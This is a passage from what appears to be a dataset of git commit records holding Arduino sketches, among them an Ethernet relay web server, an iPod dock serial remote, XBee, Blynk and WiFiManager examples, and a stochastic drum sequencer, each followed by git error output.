{\n\n if(!sentHeader){\n \/\/ send a standard http response header\n client.println(\"HTTP\/1.1 200 OK\");\n client.println(\"Content-Type: text\/html\");\n client.println();\n sentHeader = true;\n }\n\n char c = client.read();\n\n if(reading && c == ' ') reading = false;\n if(c == '?') reading = true; \/\/found the ?, begin reading the info\n\n if(reading){\n Serial.print(c);\n\n switch (c) {\n\n\n case 'A':\n \/\/add code here to trigger on 2\n triggerPin(dev1, client);\n break;\n case 'a':\n \/\/add code here to trigger on 3\n triggerOff(dev1, client);\n break;\n\n case 'B':\n \/\/add code here to trigger on 2\n triggerPin(dev2, client);\n break;\n case 'b':\n \/\/add code here to trigger on 3\n triggerOff(dev2, client);\n break;\n\n case 'C':\n \/\/add code here to trigger on 2\n triggerPin(dev3, client);\n break;\n case 'c':\n \/\/add code here to trigger on 3\n triggerOff(dev3, client);\n break;\n\n case 'D':\n \/\/add code here to trigger on 2\n triggerPin(dev4, client);\n break;\n case 'd':\n \/\/add code here to trigger on 3\n triggerOff(dev4, client);\n break;\n\n case 'E':\n \/\/add code here to trigger on 2\n triggerPin(dev5, client);\n break;\n case 'e':\n \/\/add code here to trigger on 3\n triggerOff(dev5, client);\n break;\n\n case 'F':\n \/\/add code here to trigger on 2\n triggerPin(dev6, client);\n break;\n case 'f':\n \/\/add code here to trigger on 3\n triggerOff(dev6, client);\n break;\n\n case 'G':\n \/\/add code here to trigger on 2\n triggerPin(dev7, client);\n break;\n case 'g':\n \/\/add code here to trigger on 3\n triggerOff(dev7, client);\n break;\n\n case 'H':\n \/\/add code here to trigger on 2\n triggerPin(dev8, client);\n break;\n case 'h':\n \/\/add code here to trigger on 3\n triggerOff(dev8, client);\n break;\n\n case 'I':\n \/\/add code here to trigger on 2\n triggerPin(dev9, client);\n break;\n case 'i':\n \/\/add code here to trigger on 3\n triggerOff(dev9, client);\n break;\n\n case 'J':\n \/\/add code here to trigger on 2\n triggerPin(dev10, client);\n break;\n case 'j':\n \/\/add code here to trigger on 3\n triggerOff(dev10, client);\n break;\n\n case 'K':\n \/\/add code here to trigger on 2\n triggerPin(dev11, client);\n break;\n case 'k':\n \/\/add code here to trigger on 3\n triggerOff(dev11, client);\n break;\n\n case 'L':\n \/\/add code here to trigger on 2\n triggerPin(dev12, client);\n break;\n case 'l':\n \/\/add code here to trigger on 3\n triggerOff(dev12, client);\n break;\n\n case 'M':\n \/\/add code here to trigger on 2\n triggerPin(dev13, client);\n break;\n case 'm':\n \/\/add code here to trigger on 3\n triggerOff(dev13, client);\n break;\n\n case 'N':\n \/\/add code here to trigger on 2\n triggerPin(dev14, client);\n break;\n case 'n':\n \/\/add code here to trigger on 3\n triggerOff(dev14, client);\n break;\n\n case 'O':\n \/\/add code here to trigger on 2\n triggerPin(dev15, client);\n break;\n case 'o':\n \/\/add code here to trigger on 3\n triggerOff(dev15, client);\n break;\n\n case 'P':\n \/\/add code here to trigger on 2\n triggerPin(dev16, client);\n break;\n case 'p':\n \/\/add code here to trigger on 3\n triggerOff(dev16, client);\n break;\n\n case 'Q':\n \/\/add code here to trigger on 2\n triggerPin(dev17, client);\n break;\n case 'q':\n \/\/add code here to trigger on 3\n triggerOff(dev17, client);\n break;\n\n case 'R':\n \/\/add code here to trigger on 2\n triggerPin(dev18, client);\n break;\n case 'r':\n \/\/add code here to trigger on 3\n triggerOff(dev18, client);\n break;\n\n case 'S':\n \/\/add code here to trigger on 2\n triggerPin(dev19, client);\n break;\n case 's':\n \/\/add code here to trigger on 3\n triggerOff(dev19, client);\n break;\n\n case 'T':\n \/\/add code here to trigger on 2\n triggerPin(dev20, client);\n break;\n case 't':\n \/\/add code here to trigger on 3\n triggerOff(dev20, client);\n break;\n\n case 'U':\n \/\/add code here to trigger on 2\n triggerPin(dev21, client);\n break;\n case 'u':\n \/\/add code here to trigger on 3\n triggerOff(dev21, client);\n break;\n\n case 'V':\n \/\/add code here to trigger on 2\n triggerPin(dev22, client);\n break;\n case 'v':\n \/\/add code here to trigger on 3\n triggerOff(dev22, client);\n break;\n\n case 'W':\n \/\/add code here to trigger on 2\n triggerPin(dev23, client);\n break;\n case 'w':\n \/\/add code here to trigger on 3\n triggerOff(dev23, client);\n break;\n\n case 'X':\n \/\/add code here to trigger on 2\n triggerPin(dev24, client);\n break;\n case 'x':\n \/\/add code here to trigger on 3\n triggerOff(dev24, client);\n break;\n\n case 'Y':\n \/\/add code here to trigger on 2\n triggerPin(dev25, client);\n break;\n case 'y':\n \/\/add code here to trigger on 3\n triggerOff(dev25, client);\n break;\n\n case 'Z':\n \/\/add code here to trigger on 2\n triggerPin(dev26, client);\n break;\n case 'z':\n \/\/add code here to trigger on 3\n triggerOff(dev26, client);\n break;\n\n\n \n \n \n }\n\n }\n\n if (c == '\\n' && currentLineIsBlank) break;\n\n if (c == '\\n') {\n currentLineIsBlank = true;\n }else if (c != '\\r') {\n currentLineIsBlank = false;\n }\n\n }\n }\n\n delay(1); \/\/ give the web browser time to receive the data\n client.stop(); \/\/ close the connection:\n\n } \n\n}\n\n\n\n\n\n\n\nvoid triggerOff(int offdev, EthernetClient client){\n int delayTime=1000;\n \n client.print(\"Turning OFF dev \");\n client.println(offdev);\n client.print(\"<br>\");\n client.print(\"<br>MAINC SRULDEBA???\");\n \n setRegisterPin(offdev, LOW);\n writeRegisters();\n delay(delayTime);\n;\n\n}\n \nvoid triggerPin(int ondev, EthernetClient client){\n \n int delayTime=1000;\n \n client.print(\"Turning on dev \");\n client.println(ondev);\n client.print(\"<br>\");\n \n setRegisterPin(ondev, HIGH);\n writeRegisters();\n delay(delayTime);\n;\n\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'eth2relay.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"66581324bf3b4d41a44223f68032dda3a2861699","subject":"Create AppleDock_originalLight.ino","message":"Create AppleDock_originalLight.ino","repos":"stephaneAG\/iDeviceRemote,stephaneAG\/iDeviceRemote","old_file":"AppleDock_originalLight.ino","new_file":"AppleDock_originalLight.ino","new_contents":"\/*---------------------------------------------------\n Controls an iPod through the dock connector's serial interface.\n -----------------------------------------------------\n \n Tx (output 1) ---[1k]-------------iPod pin13 Rx\n \t\t | -----iPod pin21 Accessory\n \t\t | |\n \t\t | |\n \t\t\t --- ---\n \t\t\t 2k 500k\n \t\t\t --- ---\n \t\t\t | |\n \t\t\t | |\n Gnd-----------------------------------------iPod pin11 Ground\n \n \t\t\t\tgnd\n \t\t\t\t |\n \t\t\t\t |\n \t\t\t\t---\n \t\t\t\t10k\n \t\t\t\t---\n \t\t\t\t |\n \t\t\t\t |\n digital inputs 0-4 -------\/push button\/--- +5v\n \n 2\/13\/11 changed to be a little more adaptable for further projects\n -----------------------------------------------------\n v0.3 - Added switches code\n -----------------------------------------------------\n v0.2 - Added DEBUG mode\n Added the DEBUG switch to be able to read the output without having an iPod connected.\n -----------------------------------------------------\n v0.1 - Initial code\n iPod mode 2 (simple iPod remote) only.\n -----------------------------------------------------\n Resources used:\n \n http:\/\/www.rosiedaniel.com\/search\/label\/ipod\n http:\/\/stud3.tuwien.ac.at\/~e0026607\/ipod_remote\/ipod_ap.html\n http:\/\/instruct1.cit.cornell.edu\/courses\/ee476\/FinalProjects\/s2007\/awr8_asl45\/awr8_asl45\/index.html\n http:\/\/ipodlinux.org\/wiki\/Apple_Accessory_Protocol\n http:\/\/pinouts.ru\/Devices\/ipod_pinout.shtml\n -----------------------------------------------------\n Mode 2 Commands\n Command \t\t|Purpose\n -----------------------------------------------------\n 0x00 0x00\t\t|Button Released\n 0x00 0x01\t\t|Play\n 0x00 0x02\t\t|Vol+\n 0x00 0x04\t\t|Vol-\n 0x00 0x08\t\t|Skip>\n 0x00 0x10\t\t|Skip<\n 0x00 0x20\t\t|Next Album\n 0x00 0x40\t\t|Previous Album\n 0x00 0x80\t\t|Stop\n -----------------------------------------------------\n *\/\n \n#define NUMBUTTONS 4\n\n\/\/ constants won't change. They're used here to set pin numbers:\nconst int buttonPin[NUMBUTTONS] = {6,7,8,9}; \/\/ the number of the pushbutton pin\n\n\/\/ ipod mode 2 commands that we use\nbyte switchMode2[2]= {1,2};\nbyte buttonRelease[2]= {0,0};\nbyte playPause[2]= {0,1};\nbyte volUp[2]= {0,2};\nbyte volDown[2] = {0,4};\nbyte skipForward[2] = {0, 8};\n\nint buttonCur[NUMBUTTONS]; \/\/ the current reading from the input pin\nint buttonPrev[NUMBUTTONS] = {LOW,LOW,LOW,LOW}; \/\/ the previous reading from the input pin\nint i=0, j=0, k=0;\nint debug=0;\n\n\/\/ 2 for header + 1 for length + 1 for mode + 2 for command + up to 255 for params + 1 checkSum\nbyte msg[255+7]={0xff, 0x55};\n\n\/\/ this isn't used, but if we wanted to go into ipod mode 4, we would fill this\n\/\/ with the params needed and send it to the iPod\nbyte params[255];\n\n\/\/ the following variables are long's because the time, measured in miliseconds,\n\/\/ will quickly become a bigger number than can be stored in an int.\nlong lastDebounceTime[NUMBUTTONS] = {0,0,0,0}; \/\/ the last time the output pin was toggled\nlong lastPushedTime[NUMBUTTONS]={0,0,0,0};\nlong debounceDelay = 50; \/\/ the debounce time; increase if the output flickers\nlong pushDelay=500;\n\nvoid setup() {\n \/\/ setup serial port\n Serial.begin(19200);\n\n \/\/ setup input for buttons\n for(int i=0; i<NUMBUTTONS; i++){\n pinMode(buttonPin[i], INPUT);\n }\n\n \/\/ setup the ipod for mode 2\n sendToPod(0, switchMode2, params, 0);\n}\n\nvoid loop() {\n \/\/ loop through all the buttons\n for(i=0;i<NUMBUTTONS;i++){\n \/\/ store the current button state\n buttonCur[i] = digitalRead(buttonPin[i]);\n\n \/\/ if it has changed, reset the debounce timer\n if (buttonCur[i] != buttonPrev[i])\n lastDebounceTime[i] = millis();\n\n \/\/ only wanna enter this section if the dbounce time has passed,\n \/\/ and if we didn't JUST push the button,\n \/\/ AND if the button is currently being pushed\n if ( millis() - lastDebounceTime[i] > debounceDelay && \/\/ debounce\n millis() - lastPushedTime[i] > pushDelay && \/\/ time out \n buttonCur[i]==HIGH) \/\/ being pushed\n {\n lastPushedTime[i]= millis(); \/\/reset timer\n\n switch(i){\n case(0): \/\/ play button\n sendToPod(2, playPause, params, 0);\n break;\n case(1): \/\/ pump up the volume button\n sendToPod(2, volUp, params, 0);\n break;\n case(2): \/\/ drop that baby down\n sendToPod(2, volDown, params, 0);\n break;\n case(3): \/\/ skip ahead !\n sendToPod(2, skipForward, params, 0);\n break;\n default: \/\/ no button\n sendToPod(2, buttonRelease, params, 0); \n\n }\n \/\/ once we've sent the button push, we need to send the release!\n sendToPod(2, buttonRelease, params, 0);\n }\n\n \/\/ save the reading. Next time through the loop it'll be the buttonPrev:\n buttonPrev[i] = buttonCur[i];\n }\n}\n\n\/\/ builds the msg that we want to send to the ipod\nvoid sendToPod(byte mode, byte cmd[], byte parameter[], byte paramLength){\n \/\/ SIZE= 1 for mode + 2 for command + N for param\n msg[2]=(byte)1+2+paramLength;\n msg[3]=mode;\n msg[4]=cmd[0];\n msg[5]=cmd[1];\n\n \/\/ for now, length will always be zero. if we entered mode 4 this might change...\n if(paramLength==0){\n msg[6]=0;\n }\n else{\n for(j=0; j<paramLength; j++){\n msg[6+j]=parameter[j];\n }\n }\n\n \/\/ load up the checksum\n msg[6+paramLength]=getCheckSum(paramLength);\n\n \/\/ send the message to the ipod!\n for(j=0; j<7 + paramLength; j++){\n if(debug){\n Serial.print(msg[j], HEX);\n Serial.print(\" \");\n }\n else{\n Serial.print(msg[j], BYTE); \n }\n }\n if(debug)\n Serial.print(\"\\n\");\n}\n\n\/\/ calculates and returns the checksum of what is currently in the msg[] buffer\nbyte getCheckSum(byte paramLength){\n byte checkSum=0;\n\n for(k=2; k< 6+ paramLength; k++)\n checkSum=checkSum+msg[k];\n\n return 0x100 - (checkSum & 0xFF);\n\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AppleDock_originalLight.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7c00a188581344853e986d5d8da78f550df8f382","subject":"The arduino code for #SafetyPin FlashCavalry","message":"The arduino code for #SafetyPin FlashCavalry\n","repos":"GalacticSmarties\/electra","old_file":"Arduino\/Electra\/Electra.ino","new_file":"Arduino\/Electra\/Electra.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/GalacticSmarties\/electra.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"e774d0a1012466113b90652b7032702c5d88f43a","subject":"added XBee echo test for time measurement","message":"added XBee echo test for time measurement\n","repos":"nebgnahz\/HOBS,nebgnahz\/HOBS,nebgnahz\/HOBS","old_file":"test\/XBee_echo_test\/XBee_echo_test.ino","new_file":"test\/XBee_echo_test\/XBee_echo_test.ino","new_contents":"\/*\n XBee_echo_test.ino\n \n Created 03\/26\/2014\n By benzh@eecs.berkeley.edu\n\n*\/\n\n#include <SoftwareSerial.h>\n\nSoftwareSerial XBee(3,2); \/\/ RX, TX\n\n\nvoid setup() \n{\n Serial.begin(9600);\n XBee.begin(9600);\n\n Serial.println(\"ready!\");\n}\n\nString serialString;\nvoid loop()\n{\n if (XBee.available()) {\n delay(2); \/\/delay to allow buffer to fill \n while (XBee.available()) {\n char c = XBee.read(); \/\/gets one byte from serial buffer\n serialString += c; \/\/makes the string readString\n }\n \n XBee.print(serialString);\n serialString = \"\";\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'test\/XBee_echo_test\/XBee_echo_test.ino' did not match any file(s) known to git\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"91e9b1c61f606a5f747e18748703b3bdfb784c26","subject":"blink sketch creation","message":"blink sketch creation\n","repos":"jlebunetel\/ESP8266-fun,jlebunetel\/ESP8266-fun","old_file":"blink\/blink.ino","new_file":"blink\/blink.ino","new_contents":"\/*\nblink \nturn on and off a led on the pin D7 of the LoLin ESP-12E NodeMcu V3\n*\/\n\nint led = 13; \/\/ D7 = GPIO13\n\nvoid setup() {\n pinMode(led, OUTPUT);\n}\n\nvoid loop() {\n digitalWrite(led, HIGH);\n delay(1000);\n digitalWrite(led, LOW);\n delay(1000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'blink\/blink.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"72f37f8c46d38c7acfdbfa2e449b5d015aa59c1d","subject":"HandleDisconnect example (#271)","message":"HandleDisconnect example (#271)\n\n* Add HandleDisconnect example\r\n* Fix #254","repos":"ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,ivankravets\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library,blynkkk\/blynk-library","old_file":"examples\/More\/HandleDisconnect\/HandleDisconnect.ino","new_file":"examples\/More\/HandleDisconnect\/HandleDisconnect.ino","new_contents":"\/**************************************************************\n * Blynk is a platform with iOS and Android apps to control\n * Arduino, Raspberry Pi and the likes over the Internet.\n * You can easily build graphic interfaces for all your\n * projects by simply dragging and dropping widgets.\n *\n * Downloads, docs, tutorials: http:\/\/www.blynk.cc\n * Blynk community: http:\/\/community.blynk.cc\n * Social networks: http:\/\/www.fb.com\/blynkapp\n * http:\/\/twitter.com\/blynk_app\n *\n * Blynk library is licensed under MIT license\n * This example code is in public domain.\n *\n **************************************************************\n * \n * This example shows how to keep WiFi connection on ESP8266.\n * \n **************************************************************\/\n\n#define BLYNK_PRINT Serial \/\/ Comment this out to disable prints and save space\n#include <ESP8266WiFi.h>\n#include <BlynkSimpleEsp8266.h>\n\n\/\/ You should get Auth Token in the Blynk App.\n\/\/ Go to the Project Settings (nut icon).\nchar auth[] = \"YourAuthToken\";\n\n\/\/ Your WiFi credentials.\n\/\/ Set password to \"\" for open networks.\nchar ssid[] = \"YourNetworkName\";\nchar pass[] = \"YourPassword\";\n\n\nint lastConnectionAttempt = millis();\nint connectionDelay = 5000; \/\/ try to reconnect every 5 seconds\n\nvoid setup()\n{\n Serial.begin(9600);\n Blynk.begin(auth, ssid, pass);\n}\n\nvoid loop()\n{\n \/\/ check WiFi connection:\n if(WiFi.status() != WL_CONNECTED)\n {\n \/\/ (optional) \"offline\" part of code\n \n \/\/ check delay:\n if(millis() - lastConnectionAttempt >= connectionDelay)\n {\n lastConnectionAttempt = millis();\n\n \/\/ attempt to connect to Wifi network:\n if (pass && strlen(pass)) \n {\n WiFi.begin((char*)ssid, (char*)pass);\n } \n else \n {\n WiFi.begin((char*)ssid);\n }\n }\n }\n else\n {\n Blynk.run();\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/More\/HandleDisconnect\/HandleDisconnect.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7ed247715208c75606bc07a74f2cd430f28dd3b5","subject":"GPS update frequency increased","message":"GPS update frequency increased\n","repos":"quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack,quinten991\/PenO3OnTrack","old_file":"Arduino\/Serial\/Serial.ino","new_file":"Arduino\/Serial\/Serial.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/quinten991\/PenO3OnTrack.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"4f7a83130af3e24097bc39c7c5a1a22b14a45723","subject":"ui we forgot to write the interrupt registers","message":"ui we forgot to write the interrupt registers\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC4361.ino","new_file":"ArduinoClient\/TMC4361.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"2d021bbab82308ab7dd1e776e4a533578daf7956","subject":"adds nonblocking params example","message":"adds nonblocking params example\n","repos":"tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager,tzapu\/WiFiManager","old_file":"examples\/NonBlocking\/AutoConnectNonBlockingwParams\/AutoConnectNonBlockingwParams.ino","new_file":"examples\/NonBlocking\/AutoConnectNonBlockingwParams\/AutoConnectNonBlockingwParams.ino","new_contents":"#include <WiFiManager.h> \/\/ https:\/\/github.com\/tzapu\/WiFiManager\nWiFiManager wm;\nWiFiManagerParameter custom_mqtt_server(\"server\", \"mqtt server\", \"\", 40);\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(115200);\n \n \/\/reset settings - wipe credentials for testing\n \/\/wm.resetSettings();\n wm.addParameter(&custom_mqtt_server);\n wm.setConfigPortalBlocking(false);\n wm.setSaveParamsCallback(saveParamsCallback);\n\n \/\/automatically connect using saved credentials if they exist\n \/\/If connection fails it starts an access point with the specified name\n if(wm.autoConnect(\"AutoConnectAP\")){\n Serial.println(\"connected...yeey :)\");\n }\n else {\n Serial.println(\"Configportal running\");\n }\n}\n\nvoid loop() {\n wm.process();\n \/\/ put your main code here, to run repeatedly:\n}\n\nvoid saveParamsCallback () {\n Serial.println(\"Get Params:\");\n Serial.print(custom_mqtt_server.getID());\n Serial.print(\" : \");\n Serial.println(custom_mqtt_server.getValue());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/NonBlocking\/AutoConnectNonBlockingwParams\/AutoConnectNonBlockingwParams.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2bc12200d982897969c40340d41411c7306f92a4","subject":"Add PLSR stochastic drum sequencer function.","message":"Add PLSR stochastic drum sequencer function.\n","repos":"logickworkshop\/du-ino,logickworkshop\/du-ino","old_file":"examples\/plsr\/plsr.ino","new_file":"examples\/plsr\/plsr.ino","new_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO PLSR Stochastic Drum Sequencer Function\n * Aaron Mavrinac <aaron@logick.ca>\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_widgets.h>\n#include <du-ino_clock.h>\n\nstatic const unsigned char icons[] PROGMEM = {\n 0x3e, 0x7f, 0x7f, 0x7f, 0x7f, 0x3e, 0x00, \/\/ full\n 0x3e, 0x7f, 0x7b, 0x41, 0x7f, 0x3e, 0x00, \/\/ 1\n 0x3e, 0x5b, 0x4d, 0x55, 0x5b, 0x3e, 0x00, \/\/ 2\n 0x3e, 0x6b, 0x5d, 0x55, 0x6b, 0x3e, 0x00, \/\/ 3\n 0x3e, 0x73, 0x75, 0x77, 0x41, 0x3e, 0x00 \/\/ 4\n};\n\nstatic const DUINO_Function::Jack in_jacks[4] =\n {DUINO_Function::CI1, DUINO_Function::CI2, DUINO_Function::CI3, DUINO_Function::CI4};\nstatic const DUINO_Function::Jack out_jacks[4] =\n {DUINO_Function::CO1, DUINO_Function::CO2, DUINO_Function::CO3, DUINO_Function::CO4};\n\nvolatile uint8_t current_step;\n\nvoid clock_ext_isr();\nvoid reset_isr();\n\nvoid clock_callback();\nvoid external_callback();\n\nvoid save_click_callback();\nvoid measures_scroll_callback(int delta);\nvoid clock_scroll_callback(int delta);\nvoid swing_scroll_callback(int delta);\nvoid patterns_click_callback_0(uint8_t step);\nvoid patterns_click_callback_1(uint8_t step);\nvoid patterns_click_callback_2(uint8_t step);\nvoid patterns_click_callback_3(uint8_t step);\n\nclass DU_PLSR_Function : public DUINO_Function {\n public:\n DU_PLSR_Function() : DUINO_Function(0b00001100) { }\n\n virtual void setup()\n {\n \/\/ build widget hierarchy\n container_outer_ = new DUINO_WidgetContainer<6>(DUINO_Widget::DoubleClick, 2);\n widget_save_ = new DUINO_DisplayWidget(121, 0, 7, 7, DUINO_Widget::Full);\n widget_save_->attach_click_callback(save_click_callback);\n container_outer_->attach_child(widget_save_, 0);\n container_top_ = new DUINO_WidgetContainer<3>(DUINO_Widget::Click);\n widget_measures_ = new DUINO_DisplayWidget(56, 0, 13, 9, DUINO_Widget::Full);\n widget_measures_->attach_scroll_callback(measures_scroll_callback);\n container_top_->attach_child(widget_measures_, 0);\n widget_clock_ = new DUINO_DisplayWidget(73, 0, 19, 9, DUINO_Widget::Full);\n widget_clock_->attach_scroll_callback(clock_scroll_callback);\n container_top_->attach_child(widget_clock_, 1);\n widget_swing_ = new DUINO_DisplayWidget(97, 0, 19, 9, DUINO_Widget::Full);\n widget_swing_->attach_scroll_callback(swing_scroll_callback);\n container_top_->attach_child(widget_swing_, 2);\n container_outer_->attach_child(container_top_, 1);\n for (uint8_t i = 0; i < 4; ++i)\n {\n widgets_patterns_[i] = new DUINO_MultiDisplayWidget<16>(0, 16 + 11 * i, 8, 9, 8, false, DUINO_Widget::Corners,\n DUINO_Widget::Scroll);\n container_outer_->attach_child(widgets_patterns_[i], i + 2);\n }\n widgets_patterns_[0]->attach_click_callback_array(patterns_click_callback_0);\n widgets_patterns_[1]->attach_click_callback_array(patterns_click_callback_1);\n widgets_patterns_[2]->attach_click_callback_array(patterns_click_callback_2);\n widgets_patterns_[3]->attach_click_callback_array(patterns_click_callback_3);\n\n Clock.begin();\n Clock.attach_clock_callback(clock_callback);\n Clock.attach_external_callback(external_callback);\n\n gt_attach_interrupt(GT3, clock_ext_isr, CHANGE);\n gt_attach_interrupt(GT4, reset_isr, FALLING);\n\n randomSeed(cv_read(CI1));\n\n \/\/ initialize interface\n displayed_step = -1;\n\n \/\/ load params\n load_params(0, params.bytes, 68);\n\n if(params.vals.step_count < 1)\n {\n params.vals.step_count = 1;\n }\n else if(params.vals.step_count > 16)\n {\n params.vals.step_count = 16;\n }\n\n if (params.vals.clock_bpm < 0)\n {\n params.vals.clock_bpm = 0;\n }\n else if (params.vals.clock_bpm > 300)\n {\n params.vals.clock_bpm = 300;\n }\n Clock.set_bpm(params.vals.clock_bpm);\n\n if (params.vals.swing < 50)\n {\n params.vals.swing = 50;\n }\n else if (params.vals.swing > 82)\n {\n params.vals.swing = 82;\n }\n \/\/ TODO: set clock swing\n\n for (uint8_t p = 0; p < 64; ++p)\n {\n if (params.vals.pattern[p] > 5)\n {\n params.vals.pattern[p] = 0;\n }\n display_pattern_dot(p \/ 16, p % 16);\n }\n\n \/\/ draw top line\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"PLSR\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ draw quarter measure markers\n for(uint8_t i = 0; i < 3; ++i)\n {\n Display.fill_rect(32 * i + 31, 62, 2, 2, DUINO_SH1106::White);\n }\n\n \/\/ draw parameters\n display_step_count(widget_measures_->x() + 1, widget_measures_->y() + 1, params.vals.step_count,\n DUINO_SH1106::White);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::White);\n display_swing(widget_swing_->x() + 1, widget_swing_->y() + 1, params.vals.swing, DUINO_SH1106::White);\n Display.draw_char(110, 1, '%', DUINO_SH1106::White);\n\n widget_setup(container_outer_);\n Display.display_all();\n }\n\n virtual void loop()\n {\n widget_loop();\n }\n\n void clock_clock_callback()\n {\n \/\/ increment step\n current_step++;\n current_step %= params.vals.step_count;\n\n \/\/ check each dot for trigger probability\n uint8_t jacks = 0;\n for (uint8_t bank = 0; bank < 4; ++bank)\n {\n if (stochastic_trigger(bank, current_step))\n {\n jacks |= (1 << out_jacks[bank]);\n }\n }\n\n \/\/ output triggers\n gt_out_multi(jacks, true, true);\n\n \/\/ display step\n invert_step(displayed_step);\n displayed_step = current_step;\n invert_step(displayed_step);\n }\n\n void clock_external_callback()\n {\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7,\n widget_clock_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm,\n widget_clock_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n widget_clock_->display();\n }\n\n void widget_save_click_callback()\n {\n if(!saved_)\n {\n save_params(0, params.bytes, 68);\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n void widget_measures_scroll_callback(int delta)\n {\n params.vals.step_count += delta;\n if(params.vals.step_count < 1)\n {\n params.vals.step_count = 1;\n }\n else if(params.vals.step_count > 16)\n {\n params.vals.step_count = 16;\n }\n mark_save();\n Display.fill_rect(widget_measures_->x() + 1, widget_measures_->y() + 1, 11, 7, DUINO_SH1106::White);\n display_step_count(widget_measures_->x() + 1, widget_measures_->y() + 1, params.vals.step_count,\n DUINO_SH1106::Black);\n widget_measures_->display();\n }\n\n void widget_clock_scroll_callback(int delta)\n {\n params.vals.clock_bpm += delta;\n if (params.vals.clock_bpm < 0)\n {\n params.vals.clock_bpm = 0;\n }\n else if (params.vals.clock_bpm > 300)\n {\n params.vals.clock_bpm = 300;\n }\n Clock.set_bpm(params.vals.clock_bpm);\n mark_save();\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7, DUINO_SH1106::White);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::Black);\n widget_clock_->display();\n }\n\n void widget_swing_scroll_callback(int delta)\n {\n params.vals.swing += 4 * delta;\n if (params.vals.swing < 50)\n {\n params.vals.swing = 50;\n }\n else if (params.vals.swing > 82)\n {\n params.vals.swing = 82;\n }\n \/\/ TODO: swing clock\n mark_save();\n Display.fill_rect(widget_swing_->x() + 1, widget_swing_->y() + 1, 11, 7, DUINO_SH1106::White);\n display_swing(widget_swing_->x() + 1, widget_swing_->y() + 1, params.vals.swing, DUINO_SH1106::Black);\n widget_swing_->display();\n }\n\n void widgets_patterns_click_callback(uint8_t bank, uint8_t step)\n {\n const uint8_t p = 16 * bank + step;\n params.vals.pattern[p]++;\n params.vals.pattern[p] %= 6;\n mark_save();\n display_pattern_dot(bank, step);\n widgets_patterns_[bank]->display();\n }\n\n private:\n bool stochastic_trigger(uint8_t bank, uint8_t step)\n {\n const uint8_t dot = params.vals.pattern[16 * bank + step];\n switch (dot)\n {\n case 0:\n return false;\n break;\n case 1:\n return true;\n break;\n default:\n return random(10000) < (long)(cv_read(in_jacks[dot - 2]) * 1000.0);\n break;\n }\n }\n\n void display_step_count(int16_t x, int16_t y, uint16_t count, DUINO_SH1106::Color color)\n {\n if(count > 9)\n {\n Display.draw_char(x, y, '0' + count \/ 10, color);\n }\n Display.draw_char(x + 